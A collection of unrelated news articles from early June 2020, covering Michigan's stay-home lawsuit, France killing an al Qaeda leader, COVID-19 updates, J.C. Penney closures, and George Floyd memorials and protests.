Our fellow residents have an interest to remain unharmed by a highly communicable and deadly virus, Murray wrote in his opinion. And since the state entered the Union in 1837, it has had the broad power to act for the public health of the entire state when faced with a public crisis.

Forcing Whitmer to end the stay-home order would not serve in the public interest, Murray ruled.

After losing in the Court of Claims, Helm appealed the ruling directly to the state Supreme Court, asking it to intervene. The court declined in a ruling issued Thursday, June 4, stating it wasnt persuaded that the questions presented should be reviewed by this court.

The case now returns to the Court of Claims and depending on the eventual ruling, Helm said the case could again make its way back to the state Supreme Court.

While some of the issues in the lawsuit are now moot, since the stay-home order has been lifted, Helm said his clients still want the Court of Claims to rule on the constitutionality of a forced blanket quarantine. He said a decision on the matter is especially important if there is a resurgence of COVID-19 and further attempts by the governor to impose a quarantine.

Martinko, owner of Contenders Tree and Lawn Service in Waterford and Farmington Hills, is also part of a separate lawsuit filed in federal court, which sought a court order to end the stay-home order and financial damages. That lawsuit is still pending.

The state lawsuit was originally filed April 14. At the time, landscaping and most other businesses were barred from operation under Whitmers existing stay-home order that limited commerce and social activity in an effort to curb the spread of the new coronavirus. On April 24, Whitmer extended her order until May 15, but relaxed certain restrictions, allowing certain businesses, including landscaping companies, to reopen.

The stay-home order was first put in place March 24, suspending activities not necessary to sustain or protect life.

Whitmer on Monday said retail businesses could open June 4, bars and restaurants on June 8, both with safety and capacity restrictions, and public gatherings of up to 100 people are now allowed. Gyms, hair salons, indoor theaters and casinos are among the businesses that will remain closed. Whitmer during a radio interview on the Mojo in the Morning show Thursday said in coming days, barbershops, salons and other cosmetology services could reopen in the Upper Peninsula and northern Lower Peninsula.

Coronavirus cases have slowed. Michigan, the 10th-most populous state, now ranks ninth in confirmed cases and sixth in reported deaths. At the end of April, Michigan had tallied the third most coronavirus deaths in the nation.

As of Thursday, Michigan had reported 58,241 confirmed cases of the coronavirus, including 5,595 COVID-19 deaths.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Read more on MLive:

Judge rules stay-home order doesnt violate constitutional rights

Pet groomers in Michigan can reopen Thursday

Thursday, June 4: Coronavirus updates

Trump OKs Whitmer request to extend use of Michigan National Guard

Wednesday, June 3: Latest developments on coronavirus in Michigan

From hair salons to gyms, experts rank 36 activities by coronavirus risk level
By John Irish and Tangi Salaun

PARIS (Reuters) - France said on Friday its military forces had killed al Qaeda's North Africa chief Abdelmalek Droukdel, a key Islamist fighter that its forces had been hunting for more than seven years, during an operation in Mali.

"On June 3, French army forces, with the support of their local partners, killed the emir of al Qaeda in the Islamic Maghreb, Abdelmalek Droukdel, and several of his closest collaborators, during an operation in northern Mali," French Armed Forces Minister Florence Parly wrote on Twitter.

The announcement of the death of Droukdel comes almost six months after former colonial power France and regional states combined their military forces under one command structure to focus on fighting Islamic State-linked militants in the border regions of Niger, Mali and Burkina Faso.

Droukdel was among North Africa's most experienced militants. He took part in an Islamist militant takeover of northern Mali before a French military intervention in 2013 drove them back and scattered fighters across the Sahel region.

Droukdel was believed to be hiding in the mountains of northern Algeria. Al Qaeda North Africa was the dominant jihadist force in the region, staging several high-profile deadly attacks until 2013, when it fractured as many militants flocked to the more extremist Islamic State as it seized territory in Iraq, Syria and Libya.

It remained active in North Africa's largely desert and often scarcely governed Sahel region. In Mali, it focussed its activities to the north in Libya and Tunisia. As Islamic State waned, it has sought to lure new talent from among IS veterans.

Parly said that French forces, which number about 5,100 in the region, had also on May 19 captured Mohamed el Mrabat, a fighter she identified as a veteran militant in the region and member of Islamic State in the Greater Sahara.

"Our forces, in cooperation with their local partners... will continue to track these (people) down without respite," Parly said.

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Critics in the region have increasingly scorned Paris for failing to restore stability. Anti-French sentiment has grown as militants have strengthened their foothold, making large swathes of territory ungovernable and stoking ethnic violence.

Parly said earlier this week that about 100 special forces from other European countries would be deployed to the region to support French and regional troops.

(Reporting by John Irish and Tangi Salaun; Editing by Jonathan Oatis and Rosalba O'Brien)
Source: Xinhua| 2020-06-05 22:27:56|Editor: huaxia

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Professor Janis Klovins (front, R), director of the Latvian Biomedical Research and Study Center, stands near the key laboratory equipment donated by China's Mammoth Foundation and talks with a staff member in Latvian Biomedical Research and Study Center in Riga, Latvia, June 5, 2020. China's Mammoth Foundation in Shenzhen donated key laboratory equipment to Latvian Biomedical Research and Study Center on Friday. Professor Janis Klovins, director of the Latvian Biomedical Research and Study Center, who received the BGI Fire Eye lab equipment on behalf of the center, described the donation as a very important addition to the center's capabilities in COVID-19 research, specifically viral sequencing. According to Klovins, with the new equipment, the center's capacity could be raised to over 200 samples per week from the current 32. (Photo by Janis/Xinhua)

RIGA, June 5 (Xinhua) -- China's Mammoth Foundation in Shenzhen donated key laboratory equipment to a biomedical research center in Latvia on Friday.

Professor Janis Klovins, director of the Latvian Biomedical Research and Study Center, who received the BGI Fire Eye lab equipment on behalf of the center, described the donation as a very important addition to the center's capabilities in COVID-19 research, specifically viral sequencing.

According to Klovins, with the new equipment, the center's capacity could be raised to over 200 samples per week from the current 32.

Klovins believed that the Chinese equipment will be highly useful in other COVID-19 research projects as well. It is expected to help with automation of nucleic acids extraction and improvement of work efficiency of Latvia's virus detection.

Among the 115,461 COVID-19 tests performed in Latvia so far, 1,085 tests have come back positive, according to the latest data released on Friday by the Latvian Center for Disease Control and Prevention.

The donation was coordinated by the Chinese Embassy in Latvia and the Latvian Ministry of Foreign Affairs.
Former Mayor and U.S. Housing Secretary Julian Castro said San Antonio has a racially diverse police force that is a model for dealing with people who have mental health issues.

But the department has a high rate of terminated and disciplined officers returning to work, through a local union contract and provisions in state law that allow them to seek relief through arbitration, he said.

In a frank, hourlong discussion via teleconference Friday with the San Antonio Express-News Editorial Board, the former presidential hopeful said officers with the San Antonio Police Department made a mistake in using rubber and wooden bullets against demonstrators Tuesday night in Alamo Plaza.

Now Playing: Julian Castro joined the Express-News Editorial Board to discuss police reform after a week of protests, calling San Antonios police union a toothless Tiger. Here are five takeaways from the interview. Video: Luis Vasquez

Im convinced that they went overboard, Castro said, referring to a confrontation at Alamo and Crockett streets that now is under review by the SAPD.

They need to finish the investigation. They need to be transparent about the findings of that investigation, Castro said, referring to the SAPD internal review of the confrontation. If, in fact, it reveals that officers used inappropriate force, then my hope is that if they can identify who that was, who started that, that theyre disciplined. And that the community understands that there will be accountability.

On ExpressNews.com: Biden taps Castro for help on police reforms

Beyond that, Castro said the city should set a higher standard for use of nonlethal projectiles, partly because their trajectory is less predictable than that of a standard bullet.

Now Playing: 'These events have basically put you on notice,' Julian Castro address the San Antonio city council in a recorded meeting with the Express-News editorial board. Video: San Antonio Express-News

He cited recent incidents in Austin and Dallas where protesters were badly hurt by such projectiles and mentioned a study estimating that the projectiles can kill 3 percent and severely injure 15 percent of people who are struck.

I dont think that somebody throwing a water bottle or even two water bottles should necessitate using rubber bullets, wooden bullets, pepper balls and tear gas on a crowd 99.9 percent of which had nothing to do with the plastic water bottle that was thrown, Castro said.

Over the last few days, all of us have seen and I think felt a sense of urgency about reforming policing in this country, he said. The death of George Floyd, which came after the death of so many others, especially young black men and women, at the hands of police officers who utilized excessive force, has I think woken up a lot of people in this country to the fact that we cant let things go on the same way.

He had general praise for Mayor Ron Nirenberg and Police Chief William McManus for their efforts in reducing excessive use of force by police. But he said San Antonio, like many U.S. cities, has been hindered by police union contracts and state laws often supported by law enforcement lobby groups that protect wayward officers.

On ExpressNews.com: Divided Supreme Court considers qualified immunity in fatal Border Patrol shooting

One specific problem is qualified immunity, a once-modest legal doctrine that has gone off the rails in the past 15 years, Castro said. He was hopeful that it could soon be ended or restricted through the courts or federal legislation.

Qualified immunity has protected police officers who have engaged in excessive force from being able to be sued in civil court, by victims of that excessive force and their families, for way too long, he said.

He also said he supported better public access to records concerning disciplinary actions taken against police officers.

Theres a lot that is done to shield discipline that is handed down on the officer, including wiping away the record of that discipline after a certain amount of time, that makes no sense in protecting the public from cops that shouldnt be in the department, Castro said.

Another major concern, he said, is a needed change in Chapter 143 of the Texas Government Code that often overlays and pre-empts the ability of cities to make meaningful reforms, he said.

Under that law, a police officer has a right to seek arbitration after theyve been disciplined or terminated and potentially return to work.

This happens in American cities all the time, said Castro, who advocates changes to the code in next years legislative session.

Castro, who focused on policing as part of his presidential bid, said there are administrative changes the SAPD could make on its own, including stricter policies such as providing a warning before shooting, a ban on discharging a service weapon at a moving vehicle and reporting any use of a weapon that is drawn or pointed at someone.

Although he emphasized that there are a lot of good officers working in the streets of U.S. cities, the videos showing police who have gotten out of control and lashed out at protesters this week provide a very powerful demonstration that the problem is not a few bad apples, Castro said.

The problem is that the system is broken, he said.

Scott Huddleston covers Bexar County government and the Alamo for the San Antonio Express-News. To read more from Scott, become a subscriber. shuddleston@express-news.net | Twitter: @shuddlestonSA
(Newser)  A longtime tenured psychology professor at the University of Central Florida is under fire after a series of online posts. Per the New York Times, Negy, who has written a book about "white Americans under siege," recently put up multiple tweets that he acknowledged "will infuriate folks." Among them, this: "Black privilege is real: Besides affirm. action, special scholarships and other set asides, being shielded from legitimate criticism is a privilege. But as a group, they're missing out on much needed feedback." His Twitter feed is filled with similarly race-themed posts. "We have been receiving complaints alleging bias and unfair treatment in Dr. Negy's classroom" and are investigating that and his tweets, the university's president, Alexander N. Cartwright, and other officials say in a letter to the campus community.

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FOX 35 reports students and alumni are calling for Negy's firing, with many using the #UCFFIREHIM hashtag; more than 15,000 so far have signed a petition asking the college to can him, per the New York Post. The Orange County NAACP's president wants the same. "We're struggling every day for equality, so there is no black privilege," says Beverlye Neal. Negy thinks the reaction is overblown. "People are afraid to say anything negative about blacks thanks to political correctness, which is a privilege they have," he says. He does admit the timing of his posts wasn't ideal, considering the current protests over the death of George Floyd. Meanwhile, in a Twitter post, the university notes that while Negy's tweets are "completely counter to UCF's values," it has to run the investigation into him "while being mindful of the First Amendment." (Read more University of Central Florida stories.)
South Carolina identified 361 new coronavirus cases Thursday, bringing the state's total known cases to 13,005, and the governor said that even with a recent spike in cases he's not considering another shutdown of the state's economy.

The increase was the second-highest number of new cases the state has recorded in a single day and raises the seven-day average for the seventh day in a row. The state Department of Health and Environmental Control anticipates at least another two weeks of rising numbers.

Another seven people have died since Wednesday, for a total of 525 COVID-19 fatal cases in the Palmetto State.

The most recent victims include residents from Florence, Greenville, Lexington, Richland and Spartanburg counties, according to DHEC. Six were 65 or older, and one was between 35 and 64 years old.

Gov. Henry McMaster recognized that some "people clearly are not following" health guidelines given repeatedly to stem the spread of COVID-19.

"If everyone would follow those practices, wed be in better shape than we are now," he said. "Im not sure how to get through to some people other than to point out its still here. Its not going to evaporate one day and its still highly dangerous."

He urged people to "use their common sense."

As for whether he'd close businesses and activities that had been allowed to resume, he said, "The main restriction there is  is to emphasize to people they must be careful. You cant lock down an economy forever. You just cant do it. If people would just use their heads and follow advice given to them repeatedly."

Asked whether businesses should be required to follow safety guidelines, McMaster said that's the wrong approach.

"The main thing we can do is make it very clear what people need to do. There is some point at which mandates simply do not work. Theyre unenforceable largely," he said.

"But to emphasize to people the facts  knowledge and power, where people understand the consequences of the behavior they're involved in or see  to stop and realize the consequences of that, that is when you get good results," he said.

McMaster said the pandemic also complicates hurricane planning and will factor into his evacuation decisions.

"Because the requirements of keeping people safe because of the pandemic will slow down the movement of those people, well have to make decisions a little earlier than we normally would because well have to allow time for that movement to take place," he said. "It'll be a challenge."

Changes include emergency shelters for those evacuated holding only one-third of their normal capacity, with screening and temperature checks, said Department of Social Services Director Michael Leach.

As of Wednesday, labs across the state had tested 238,808 samples, and about 450 hospital beds were occupied by coronavirus patients.

The higher numbers were reported as another set of statistics also jumped: Unemployment claims.

Roughly 220,346 Palmetto State residents were still seeking unemployment benefits to replace their lost incomes during the week of May 17-23, state officials said.

The S.C. Department of Employment and Workforce said 18,986 displaced employees filed new claims for financial assistance between May 24 and May 30.

This means that nearly 10 percent of the workers who were employed in South Carolina in early March were still out of work in late May.

Meantime, more money is available to help feed and house Charleston County residents struggling financially amid the pandemic. This includes direct help with overdue rent and mortgage payments, officials said.

The nonprofit Origin SC in North Charleston received $287,728 to financially assist people, two weeks after money to help people with housing expenses ran out.

City of Charleston residents arent eligible through this program because the city received federal funding  $607,000  for residents in April.

In Charleston, the owner of the historic Calhoun Mansion is suing the propertys insurance company because it refuses to cover business losses related to COVID-19.

The 24,000-square-foot mansion, built in 1876, is a private residence on lower Meeting Street that allows public tours of its first two floors. But tours were halted on March 15 after two employees became ill with coronavirus symptoms. The home remained closed to the public following an executive order by McMaster that shut down museums and other businesses throughout the state.

The mansion remains closed. The mansion's owner filed a business interruption claim with AXA Insurance Co., but it was rejected, the federal court lawsuit claims. New York-based AXA has not responded to the lawsuit.

Andrew Brown, David Slade and David Wren contributed to this report.
June 05 : South Indian actress Tamannaah Bhatia has been staying at home with her mother safely. Today on World Environment Day 2020, she has a note-worthy message to tell all her fans in the virtual world. She has been trying her hand at various recipes and also practiced social distancing in her own adorable manner. But ever since the month of June 2020, has started off, a lot of unpleasant happenings seem to alarm her thoughts. She took to Instagram and her other social media accounts to throw light on such social causes. Today, she posted her photo with a smudged black handprint in protest of the unempathetic behavior people have had towards men, animals, and nature alike.

The Baahubali actress had painted her neck with dark kajal. She also lightly outlined her upper eyelids with a touch of kajal and drew the ends of her lower eyelashes. The actress went for a monochrome black and white photo, focusing a handprint on her lips. She tied her hair into a neat bun and look seriously at the camera lens. She captioned her post as Your silence will not protect you. Doesn't every life matter, human or animal? Muting any form of creation is against the universal law. We must unlearn and learn to be human again express compassion, and practice love. #AllLivesMatter #WakeUpWorld'

Image Source: Instagram/tamannaahspeaks Tamannaah Bhatia

The Sye Raa Narasimha Reddy actress had made such a sensitive post to highlight to racist injustice that was done to George Floyd and also to the recent animal killings in India. George Floyd was an African American man who was killed by the police. This had created a wave of racist based protests all around the country. Apart from that, a few animal killings have happened within India knowingly or unknowingly. This too has caused a lot of rage to her animal lovers around the world. She urged her fans to voice out their opinions when such atrocities happen in this world. She advised that people should learn to be human, be kind to all living beings.
Meek Mill says his goodbyes after handing out backpacks this fall to the students at James G. Blaine Elementary School. Read more

Meek Mill has responded to a dramatic week of civil unrest in Philadelphia and across the nation by releasing a passionate new protest song called Otherside of America.

The Philadelphia rappers hard-hitting salvo does not directly address the protests against police brutality spurred by the death of George Floyd at the hands of police in Minneapolis.

But the song  which opens with a clip from a Donald Trump speech in which he asks African Americans voters What do you have to lose?  does chronicle Mills experiences as an endangered black man, entangled in the criminal justice system as he grew up on the streets of Philadelphia.

We was starvin for a thousands nights, he raps, with typical rat-a-tat urgency, on the track, created with producers Butter Beans and Shroom. Livin like we tryin to die tonight.

Public Enemy rapper Chuck D. famously referred to rap as the black CNN, issuing reports from the African American community not commonly heard or seen on cable news channels.

Mill opens the new song by announcing that hes reporting live from the other side of America.

The story that he then tells  beginning when he was just a shorty / then I started spittin godly, and they said record me takes him through his time in and out of jail while rising to hip-hop stardom.

That 12-year odyssey began with an arrest in South Philadelphia on a gun and drug charge in 2007 and finally ended last August with Mill pleading guilty to a misdemeanor while all other charges were dropped.

 READ MORE: Meek Mill on life after prison, Made in America, and how Philly made him who he is

Otherside of America ends with a clip of Mill, who now works as an advocate for criminal justice reform with the Reform Alliance, being interviewed on CNN in 2018 by political commentator and host Michael Smerconish.

In the interview, Mill says: I always dreamed to be on CNN to be able to express myself and speak for the voiceless young men of America. The first step I would say: I grew up in America in a ruthless neighborhood where we are not protected by police, we grew up in ruthless environments, we grew up around murder, you see murder, you see seven people die a week.

In such circumstances, I think you would probably carry a gun yourself, Mill says. Would you?

Yeah, Smerconish replies. I probably would.

Otherside of America is available on Apple Music, Spotify, YouTube, and all other streaming platforms.
J.C. Penney is closing 154 stores nationally as an initial restructuring of its operations in bankruptcy, including its Torrington Commons department store.

The company filed in mid-May for bankruptcy protection from creditors, reflecting the intensified losses it was absorbing as a result of mall closures in response to the coronavirus pandemic. On Friday, CNBC reported the buyout firm Sycamore Partners had approached J.C. Penneys board about a possible acquisition.

The company indicated it will take up to four months to complete liquidation sales in advance of closures, with no immediate indication of how many people it will lay off in Torrington.

J.C. Penney closed its Connecticut Post Mall store three years ago at a cost of nearly 90 jobs. The company has remaining Connecticut J.C. Penney locations at the Danbury Fair and Westfield Trumbull malls, as well as Brass Mill Center in Waterbury, Westfarms in Farmington, the Shoppes at Buckland Hills in Manchester, and the Crystal Mall in Waterford.

In Torrington, J.C. Penney is one of two anchor tenants at the High Street shopping plaza along with a Super Stop & Shop grocery store. The property is one of the top 10 contributors to Torringtons annual property taxes, at nearly $9.6 million in 2018.

Torrington Commons is one of seven Connecticut properties owned by DLC Management of Elmsford, N.Y., including Putnam Place in Hamden, Orange Promenade and Newington Fair. A DLC staff member did not respond immediately to a query on Friday on whether the firm is considering any redevelopment of the J.C. Penney space for other uses besides retail.

Late last month, J.C. Penney asked a bankruptcy judge in Texas to allow it to skip paying rent at its stores nationally, with the Plano-based companys attorneys arguing the measure would help it save jobs by giving stores more time to improve foot traffic and sales.

J.C. Penney filed separately on Thursday a form letter it wants the court to approve that will allow it to preemptively reject leases prior to their scheduled expiration dates, shielding it from ongoing rent obligations for locations where it is unsuccessful in negotiating lower lease rates.

A Texas mall owner took issue on Wednesday with the earlier rent relief request filed by J.C. Penney, arguing the company should not be granted a one-size-fits-all waiver given the staggered schedules of mall openings the past several weeks as individual states lift restrictions.

When shopping centers ... are back in business and tenants are not forbidden to operate their stores and generate revenue, COVID-19 cannot continue to function as a get out of jail free card, wrote attorneys from the Dallas law office of Akerman LLP.

Alex.Soule@scni.com; 203-842-2545; @casoulman
Photo by Sam Dewey

Miami Valley, Ohio tornado tree and house damage.

Brethren Disaster Ministries has directed grants from the Church of the Brethrens Emergency Disaster Fund (EDF) to finance its tornado rebuilding work in the area around Dayton, Ohio, and to aid COVID-19 responses by Church World Service (CWS), Bittersweet Ministries in Mexico, and the Rwandan Brethren.

Another EDF grant also funds a second round of the COVID-19 Pandemic Grants program offering grants to Church of the Brethren congregations and districts in the United States and Puerto Rico who are carrying out pandemic-related humanitarian work in their communities.

To give financial support to the EDF and Brethren Disaster Ministries go to www.brethren.org/edf .

Ohio

An allocation of $65,000 will finance the Brethren Disaster Ministries tornado rebuilding work in Dayton, Ohio, in 2020. The rebuilding project responds to the 19 tornados that hit the area on Memorial Day weekend last year, on May 27-28, affecting 10 counties. More than 7,000 homes were damaged and more than 1,500 destroyed, with most damage occurring in the Miami Valley areas of Harrison Township, Trotwood, Northridge, Old North Dayton, Brookville, Beavercreek, and Celina.

The Church of the Brethrens Southern Ohio/Kentucky District responded quickly by beginning clean-up and debris removal. District volunteers completed rebuilding work on several homes with materials funded by the district. Several church members and Brethren Disaster Ministries volunteers also have been involved in organizing and planning for the long-term recovery, meeting with community leaders and serving on sub-committees.

The Miami Valley Long-Term Recovery Operations Group will identify and assess cases and fund the materials for the new rebuilding project, which will be modified for the COVID-19 realities. Project supplies will be transported to Ohio from the recently closed rebuilding site in Tampa, Fla. Grant funds will be used for volunteer travel and expenses, tools, equipment, and leadership.

Only volunteers living within driving distance will be accepted at the Brethren Disaster Ministries rebuilding site starting July 13, to serve a week at a time. Groups will be limited to 8-10 people and extensive COVID-19 protocols will be followed. The tentative plan is for out-of-state volunteers to begin serving in August. All dates are subject to change.

COVID-19 Pandemic Grants

An additional allocation of $75,000 continues funding for the COVID-19 Pandemic Grants program designed to help US Church of the Brethren congregations and districts provide humanitarian relief for vulnerable people in their congregations and communities.

An initial $60,000 grant for this program has provided grants to 14 congregations (see the Newsline report at www.brethren.org/news/2020/edf-makes-first-covid-19-us-grants.html ). Most of the grants support basic human needs of food and shelter for out-of-work and marginalized people.

Funds from this allocation will be distributed to congregations and districts through a grant application and approval process. Recognizing that predicting incoming requests is difficult, the $75,000 is intended to support the program through July 2020.

Church World Service

A grant of $20,000 supports the CWS Coronavirus Response. CWS is a long-term partner of Brethren Disaster Ministries and the Church of the Brethren. CWS has made a $2.75 million appeal to address this extensive global need through June 2021.

Coronavirus and the measures governments are taking to protect their citizens are taking a toll on communities around the globe, said the CWS appeal. The pandemic is exacerbating existing crises and food shortages. Schools are closed, and students are disconnected from learning. Migrants and refugees worldwide are in precarious situations, often unable to socially distance or maintain needed hygiene standards. Jobs are drying up as economies struggle to adapt. Regretfully, we have now documented clusters of refugee families in the United States with confirmed cases of COVID-19 and are trying to assess ways to directly assist them.

CWS is working with its branch offices and many partners to address pandemic-related needs around the globe including rental assistance in the U.S, childcare assistance, expansion of hunger programs, humanitarian assistance, and the shipping of CWS emergency kits to families in need.

This grant will be targeted to support humanitarian assistance, hunger- and poverty-fighting programs, support of global refugees, and CWS kit programs, which best match the intent of the Emergency Disaster Fund.

Mexico

A grant of $10,000 has been given to Bittersweet Ministries in Mexico to support a feeding program during the COVID-19 pandemic. Mexico has been experiencing a rapid spread of the virus, averaging 3,000 new confirmed cases and hundreds of deaths each day, and has been on a nationwide lockdown since the end of March, causing significant economic hardships especially for poor and marginalized people.

Bittersweet Ministries has been providing ministry and support to marginalized families in the Tijuana area for years, with a particular focus on people living next to the landfill. Community members live in unhealthy and cramped conditions, with some living off what they can collect from the landfill.

The ministry is expanding its work with three Tijuana churches and two ministry points to provide COVID relief to some of these at-risk families. In addition, the community of Aguita Zarca, in a remote area three hours from Durango, also is desperate for food assistance and has connections to Bittersweet and a Church of the Brethren congregation in the United States. Grant funds will provide emergency food rations at six locations: three churches, two ministry points, and the village of Aquita Zarca.

Food distribution at the Gisenyi congregation of Rwanda Church of the Brethren

Rwanda

An additional allocation of $8,000 responds to the COVID-19 pandemic in Rwanda, which is one of the countries with few support systems or aid programs to assist families in crisis and where the most vulnerable live day-to-day.

Etienne Nsanzimana, leader of the Rwandan Church of the Brethren, reports most people living in the community of Gisenyi used to have work related to cross-border businesses in the Democratic Republic of Congo, which are still closed. This grant will provide food and soap to 295 families particularly vulnerable to food insecurity, from the communities of Gisenyi, Mudende, Gasiza, and Humure. One previous EDF grant of $8,000 has been given for this appeal.

For more about the Emergency Disaster Fund and to give online go to www.brethren.org/edf .

Go to www.brethren.org/Newsline to subscribe to the Church of the Brethren Newsline free e-mail news service and receive church news every week.
A memorial service in Minneapolis also saw Rev Al Sharpton vow to "change the whole system of justice".

A lawyer for George Floyd has told a memorial service that a "pandemic of racism" led to his death.

Those gathered at Thursday's tribute stood in silence for eight minutes, 46 seconds, the amount of time Floyd was alleged to be on the ground under the control of police in Minneapolis.

Hundreds attended the service, which also heard a eulogy from civil rights activist Rev Al Sharpton.

It was time to stand up and say "get your knee off our necks", he said.

Mr Floyd's killing, which was captured on video, has caused outrage and sparked a wave of protests in cities across the US.

Meanwhile, a few blocks away, three police officers charged with aiding and abetting Mr Floyd's murder made their first appearance in court. Bail was set at $1m (800,000) but would be lowered to $750,000 if they handed in any guns they owned and met other conditions, the judge said.

Derek Chauvin, the officer who continued to kneel on Mr Floyd's neck as he pleaded that he could not breathe, has been charged with second-degree murder and is due to appear in court on Monday.

The vast majority of demonstrations over the past eight days have been peaceful, but some have descended into violence and rioting, with curfews imposed in a number of cities.

What happened at the memorial?

Addressing Thursday's memorial service, lawyer Benjamin Crump said it was "not the coronavirus pandemic that killed George Floyd".

"It was that other pandemic," he said. "The pandemic of racism and discrimination."

Members of Mr Floyd's family, the Reverend Jesse Jackson, Minnesota Governor Tim Walz, Minnesota Senator Amy Klobuchar and Minneapolis Mayor Jacob Frey were among several hundred people at the service at North Central University in downtown Minneapolis.

Philonise Floyd, one of Mr Floyd's brothers, described how the family had been poor when he and Mr Floyd were young and had washed their clothes in the sink and dried them in the oven.

"It's crazy man, all these people came to see my brother, it's amazing he touched so many hearts," he said.

Reverend Al Sharpton meanwhile demanded accountability.

"We won't stop," he said, referring to protests that have taken place in every US state. "We're going to keep going until we change the whole system of justice."

In an emotional eulogy, he said Mr Floyd's story had echoed that of black people in America.

"What happened to Floyd happens every day in this country, in education, in health services and in every area of American life. It's time for us to stand up in George's name and say: get your knee off our necks," he said.

Further tributes will be held at Mr Floyd's birthplace of North Carolina on Saturday, and in his hometown of Houston on Monday.

What other reaction has there been to the protests?

In his first video comments since Floyd's death, former President Barack Obama said the demonstrations were as profound as anything he had seen in his lifetime, and called on Americans to seize the chance to deal with underlying problems in society.

"Too often some of that violence has come from folks who were supposed to be serving and protecting you," Mr Obama said.

"I want you to know that you matter. I want you to know that your lives matter, your dreams matter."

The Duchess of Sussex, Meghan Markle, has also issued a personal messageabout Floyd's death, saying his life mattered and recent events had been devastating.

What happened to Floyd?

George Floyd, 46, was stopped by police investigating the purchase of cigarettes with counterfeit money on 25 May in Minneapolis.

A video showed Floyd being arrested and a white police officer continuing to kneel on his neck for several minutes even after he pleaded that he could not breathe.

Protests erupted and have continued since, across many US cities and also internationally, with rallies on Wednesday in Australia, France, the Netherlands and in the UK, where thousands gathered in central London.

Floyd's death follows the high-profile cases of Michael Brown in Ferguson, Missouri; Eric Garner in New York; and others that have driven the Black Lives Matter movement in recent years.

For many, the outrage over Floyd's death also reflects years of frustration over socio-economic inequality and discrimination.

Protests over the death continued in dozens of cities on Wednesday night despite widespread curfews.

They have been largely peaceful, with cities such as Los Angeles and Chicago relaxing their restrictions amid hopes that the worst of the violence had passed.

A post-mortem examination has revealed that Floyd had the coronavirus in early April. But officials stressed that this played no role in his death.

US protests timeline

George Floyd dies after police arrest 25 May 2020

George Floyd dies after being arrested by police outside a shop in Minneapolis, Minnesota. Footage shows a white officer, Derek Chauvin, kneeling on Mr Floyds neck for several minutes while he is pinned to the floor. Mr Floyd is heard repeatedly saying "I cant breathe". He is pronounced dead later in hospital.

Protests begin 26 May

Four officers involved in the arrest of George Floyd are fired. Protests begin as the video of the arrest is shared widely on social media. Hundreds of demonstrators take to the streets of Minneapolis and vandalise police cars and the police station with graffiti.

Protests spread 27 May

Protests spread to other cities including Memphis and Los Angeles. In some places, like Portland, Oregon, protesters lie in the road, chanting "I cant breathe". Demonstrators again gather around the police station in Minneapolis where the officers involved in George Floyds arrest were based and set fire to it. The building is evacuated and police retreat.

Trump tweets 28 May

President Trump blames the violence on a lack of leadership in Minneapolis and threatens to send in the National Guard in a tweet. He follows it up in a second tweet with a warning "when the looting starts, the shooting starts". The second tweet is hidden by Twitter for "glorifying violence".

CNN reporter arrested 29 May

A CNN reporter, Omar Jimenez, is arrested while covering the Minneapolis protest. Mr Jimenez was reporting live when police officers handcuffed him. A few minutes later several of his colleagues are also arrested. They are all later released once they are confirmed to be members of the media.

Derek Chauvin charged with murder

Former Minneapolis police officer Derek Chauvin, 44, is charged with murder and manslaughter. The charges carry a combined maximum 35-year sentence.

Sixth night of protests 31 May

Violence spreads across the US on the sixth night of protests. A total of at least five people are reported killed in protests from Indianapolis to Chicago. More than 75 cities have seen protests. At least 4,400 people have been arrested. Curfews are imposed across the US to try to stem the unrest.

Trump threatens military response 1 June

President Trump threatens to send in the military to quell growing civil unrest. He says if cities and states fail to control the protests and "defend their residents" he will deploy the army and "quickly solve the problem for them". Mr Trump poses in front of a damaged church shortly after police used tear gas to disperse peaceful protesters nearby.

Eighth night of protests 2 June

Tens of thousands of protesters again take to the streets. One of the biggest protests is in George Floyds hometown of Houston, Texas. Many defy curfews in several cities, but the demonstrations are largely peaceful. BBC
By the time Prime Minister Justin Trudeau arrived, streams of people clutching signs had made their way on to Parliament Hill and through surrounding streets Friday to protest black lives lost to police.

Hey there, time traveller!

This article was published 5/6/2020 (595 days ago), so information in it may no longer be current.

By the time Prime Minister Justin Trudeau arrived, streams of people clutching signs had made their way on to Parliament Hill and through surrounding streets Friday to protest black lives lost to police.

The Ottawa demonstration was one of multiple events in Canada following days of rallies against racism and police brutality in numerous American cities.

Lori Seale-Irving brought her two teenage sons to the Ottawa march and was pleased to see many young people supporting diversity and inclusion.

"That comes down to what we, especially Canadians, represent," she said. "We're trying to treat everyone fairly and equally. I think there's hope for the younger generation."

The Ottawa event was organized by No Peace Until Justice, formed by a young black woman. The goal was to bring together black activists and organizations and allies to stand in solidarity against police brutality and societal racism.

Trudeau came to Parliament Hill with security guards, wearing a black cloth mask.

He clapped and nodded in response to speakers at the front of the crowd, including one who said there is no middle-ground on the issue.

Thousands of people protest at an anti-racism demonstration reflecting anger at the police killings of black people, in Toronto on Friday, June 5, 2020. THE CANADIAN PRESS/Nathan Denette

"You are either a racist or an anti-racist," the speaker said.

The demonstrations followed protests across the U.S. after a video showed a white Minneapolis officer kneeling on the neck of a black man, George Floyd, for nearly nine minutes, even as he pleaded that he couldn't breathe.

Floyd fell still and died, the officer's knee still on him.

At one point, the crowd in Ottawa went silent for the time Floyd was held down. Trudeau put one knee to the ground, his head bowed, as others also took a knee around him.

The Ottawa march was not supposed to go to the U.S. Embassy but wound up there anyway. The mission's Twitter account promised the building's lights would be dimmed for nine nights in Floyd's honour, acknowledging that the gesture was small and not enough.

Demonstrators peacefully chanted, clapped and clutched signs that said, "Demilitarize the police" and "Say their names,"  a slogan urging people to remember and recognize the victims of police brutality by name.

Kaylei Welsford carried a sign saying, "I can't breathe."

"I just feel like nobody should have to fear for their life because of the colour of their skin," she said. "We're all the exact same on the inside."

Protesters gather in solidarity with the George Floyd protests across the United States in Calgary, Alta., Wednesday, June 3, 2020. Demonstrators plan to march from Parliament Hill through Ottawa streets in mid-afternoon today to honour black lives lost at the hands of police. THE CANADIAN PRESS/Jeff McIntosh

